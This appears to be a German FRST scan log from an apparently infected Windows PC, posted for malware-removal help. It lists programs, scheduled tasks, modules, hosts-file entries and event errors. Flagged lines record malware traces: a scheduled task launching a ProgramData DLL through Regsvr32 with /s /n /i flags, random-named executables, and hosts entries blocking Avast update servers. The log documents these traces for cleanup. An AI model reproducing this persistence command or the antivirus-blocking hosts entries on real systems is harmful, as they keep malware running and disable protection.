Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23506 (HKLM-x32\...\{3ee5e5bb-b7cc-4556-8861-a00a82977d6c}) (Version: 14.0.23506.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23026 (HKLM-x32\...\{74d0e5db-b326-4dae-a6b2-445b9de1836e}) (Version: 14.0.23026.0 - Microsoft Corporation)
Mount & Blade: Warband (HKLM\...\Steam App 48700) (Version:  - TaleWorlds Entertainment)
Mozilla Firefox 53.0.3 (x86 de) (HKLM-x32\...\Mozilla Firefox 53.0.3 (x86 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
NetAdapter (HKLM-x32\...\{0D447139-C8C5-4061-8B4A-0FBE91965131}) (Version: 1.6.1 - devnull)
NVIDIA 3D Vision Treiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 382.05 - NVIDIA Corporation)
NVIDIA GeForce Experience 3.6.0.74 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.6.0.74 - NVIDIA Corporation)
NVIDIA Grafiktreiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 382.05 - NVIDIA Corporation)
NVIDIA HD-Audiotreiber 1.3.34.17 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.17 - NVIDIA Corporation)
NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)
NvNodejs (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
NvTelemetry (Version: 2.4.10.0 - NVIDIA Corporation) Hidden
NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden
Overwolf (HKLM-x32\...\Overwolf) (Version: 0.104.210.0 - Overwolf Ltd.)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.14393.21292 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8029 - Realtek Semiconductor Corp.)
Rocket League (HKLM\...\Steam App 252950) (Version:  - Psyonix, Inc.)
SHIELD Streaming (Version: 7.1.0370 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
Sound Blaster Cinema 3 (HKLM-x32\...\{883EEEA5-1C5A-42BD-96C3-796F2ACB9120}) (Version: 1.00.14 - Creative Technology Limited)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Stellaris (HKLM\...\Steam App 281990) (Version:  - Paradox Development Studio)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.4.58 - Synaptics Incorporated)
Tabletop Simulator (HKLM\...\Steam App 286160) (Version:  - Berserk Games)
TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.1.4 - TeamSpeak Systems GmbH)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.78313 - TeamViewer)
The Guild II: Renaissance (HKLM\...\Steam App 39680) (Version:  - Rune Forge)
Total Commander 64-bit (Remove or Repair) (HKLM-x32\...\Totalcmd64) (Version: 9.0 - Ghisler Software GmbH)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update für Microsoft Office Excel 2007 Help (KB963678) (HKLM-x32\...\{90120000-0016-0407-0000-0000000FF1CE}_ENTERPRISE_{BEC163EC-7A83-48A1-BFB6-3BF47CC2F8CF}) (Version:  - Microsoft)
Update für Microsoft Office Outlook 2007 Help (KB963677) (HKLM-x32\...\{90120000-001A-0407-0000-0000000FF1CE}_ENTERPRISE_{F6828576-6F79-470D-AB50-69D1BBADBD30}) (Version:  - Microsoft)
Update für Microsoft Office Powerpoint 2007 Help (KB963669) (HKLM-x32\...\{90120000-0018-0407-0000-0000000FF1CE}_ENTERPRISE_{EA160DA3-E9B5-4D03-A518-21D306665B96}) (Version:  - Microsoft)
Update für Microsoft Office Word 2007 Help (KB963665) (HKLM-x32\...\{90120000-001B-0407-0000-0000000FF1CE}_ENTERPRISE_{38472199-D7B6-4833-A949-10E4EE6365A1}) (Version:  - Microsoft)
Vulkan Run Time Libraries 1.0.42.1 (HKLM\...\VulkanRT1.0.42.1) (Version: 1.0.42.1 - LunarG, Inc.)
WHV4aVqDz8Bs1NavW version 1.0 (HKLM-x32\...\{1fd06d23-1810-464b-b9c5-b92c28776962}_is1) (Version: 1.0 - )
WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {04449EC3-FDDC-4753-8716-3A8F0E256BF8} - System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.exe  <==== ACHTUNG
Task: {0C4D4B81-F450-4B0B-8C72-E729304B408F} - System32\Tasks\Overwolf Updater Task => C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [2017-05-14] (Overwolf LTD)
Task: {0F554480-7D29-423E-A816-01813EC1A22E} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {238AEADB-2753-4340-8BA8-5931247C4ECC} - \Microsoft\Windows\DeviceSettings\Holsychodush -> Keine Datei <==== ACHTUNG
Task: {2FE85189-217B-485E-92C6-5492C0B47F50} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {3643BE30-1B19-4C8B-B477-934A71E7FBD5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {42CCB202-504C-4449-8CA7-BDFA2F30CA79} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7 => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {4BED09D5-6922-4AB0-A5F7-02573B1A17CD} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {532C17B9-861A-40D4-AB56-24DDCD9FFD0D} - System32\Tasks\OneDrive Standalone Update Task v2 => %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
Task: {580ECAAB-83D0-4420-BC5F-378E24B7755B} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {7C5F547D-0F21-47A0-BA16-407374E5B362} - System32\Tasks\updater => C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe
Task: {8BC35C08-BEAE-4DCA-8814-715C10631294} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {946B1704-9D1A-4004-99EB-86EE822427D4} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [2016-10-13] (Intel(R) Corporation)
Task: {A0B8C401-754F-45ED-AB54-A4196A516902} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {CE717A1A-E0B7-4A62-A58D-3CF8778369F4} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {D2CAA64B-EFEE-4B71-B535-3D39B9088D9F} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-05-03] (NVIDIA Corporation)
Task: {E4CCFFA0-D020-4654-BB23-EB12886EDAE6} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-05-03] (NVIDIA Corporation)
Task: {EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} - System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\2dfe3513\27a038f3.dll" <==== ACHTUNG

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2016-10-17 20:00 - 2016-10-17 20:00 - 00107752 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\libglog.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00412904 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\JsonCpp.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01267320 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll
2017-06-03 00:20 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2016-11-01 17:18 - 2016-11-01 17:18 - 00253664 _____ () C:\Program Files\Intel\Intel(R) Online Connect\CSLibWrapper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\windows\SYSTEM32\inputhost.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ () C:\windows\SYSTEM32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ () C:\windows\SYSTEM32\APOMgr64.DLL
2017-06-01 22:05 - 2017-05-03 22:20 - 00034424 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_system-vc120-mt-1_58.dll
2017-06-01 22:05 - 2017-05-03 22:20 - 00920184 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_regex-vc120-mt-1_58.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01040504 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
2016-11-08 19:40 - 2016-11-08 19:40 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll
2017-05-14 12:53 - 2017-05-14 12:53 - 68886856 _____ () C:\Program Files (x86)\Overwolf\0.104.210.0\libcef.DLL
2017-05-12 15:18 - 2017-05-03 22:20 - 65709176 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll
2016-10-14 17:00 - 2016-10-14 17:00 - 00042728 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32api.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00060648 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\pywintypes27.dll
2016-10-14 17:00 - 2016-10-14 17:00 - 00126696 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\pythoncom27.dll
2016-10-14 17:00 - 2016-10-14 17:00 - 00024296 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_multiprocessing.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00047336 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_ctypes.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00026856 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32service.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00023784 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\servicemanager.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00031976 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_socket.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00506600 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_ssl.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00360168 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_hashlib.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00019176 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\select.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00021224 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32pipe.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00045800 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32file.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00018664 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32event.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00392424 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\_bsddb.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00025320 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32process.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00021224 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32ts.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00019688 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32profile.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00043752 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32security.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00025832 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\win32inet.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00191720 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\unicodedata.pyd
2016-10-14 17:00 - 2016-10-14 17:00 - 00023272 _____ () C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\EnvironmentID.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ==========================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2017-03-18 23:03 - 2017-06-03 00:24 - 00000888 _____ C:\windows\system32\Drivers\etc\hosts

127.0.0.1 v1.ff.avast.com
127.0.0.1 vlcproxy.ff.avast.com

==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-19-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406685\Control Panel\Desktop\\Wallpaper -> C:\Windows\Web\Wallpaper\Windows\img0.jpg
HKU\S-1-5-20-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406700\Control Panel\Desktop\\Wallpaper -> C:\Windows\Web\Wallpaper\Windows\img0.jpg
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
DNS Servers: 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==


==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{21F95021-2FE4-4322-B40D-87BF0028281B}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{FC215E32-309D-4C21-AEBB-673A82A26FED}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{53F48740-2016-4BFF-BAB8-D22B9EE2BF9D}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{A1547F5A-B681-4FE3-9C40-1B00A6AC62ED}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe

==================== Wiederherstellungspunkte =========================

12-05-2017 15:48:12 Windows-Sicherung
30-05-2017 08:01:39 Windows Update
31-05-2017 13:45:11 DirectX wurde installiert

==================== Fehlerhafte Geräte im Gerätemanager =============


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "MSDTC" in der DLL "C:\windows\system32\msdtcuiu.DLL" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "Lsa" in der DLL "C:\Windows\System32\Secur32.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "ESENT" in der DLL "C:\windows\system32\esentprf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 07:32:04 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "BITS" in der DLL "C:\Windows\System32\bitsperf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:17:02 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: Programm SystemHealer.exe, Version 0.0.0.0 kann nicht mehr unter Windows ausgeführt werden und wurde beendet. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen.

Prozess-ID: 1b3c

Startzeit: 01d2dbb25e301cba

Beendigungszeit: 4294967295

Anwendungspfad: C:\Program Files (x86)\SystemHealer\SystemHealer.exe

Berichts-ID: 41c4326b-46f8-48d1-97ef-25c03e47bc42

Vollständiger Name des fehlerhaften Pakets:

Auf das fehlerhafte Paket bezogene Anwendungs-ID:

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.


Systemfehler:
=============
Error: (06/03/2017 12:40:12 AM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 12:40:12 AM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 12:38:10 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/03/2017 12:10:31 AM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 12:10:31 AM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/03/2017 12:10:08 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "JszipService" wurde aufgrund folgenden Fehlers nicht gestartet:
Das System kann die angegebene Datei nicht finden.

Error: (06/03/2017 12:10:07 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/03/2017 12:08:12 AM) (Source: Service Control Manager) (EventID: 7032) (User: )
Description: Der Versuch des Dienststeuerungs-Managers, nach dem unerwarteten Beenden des Dienstes "Windows Search" Korrekturmaßnahmen (Neustart des Diensts) durchzuführen, ist fehlgeschlagen. Fehler:
Es wird bereits eine Instanz des Dienstes ausgeführt.

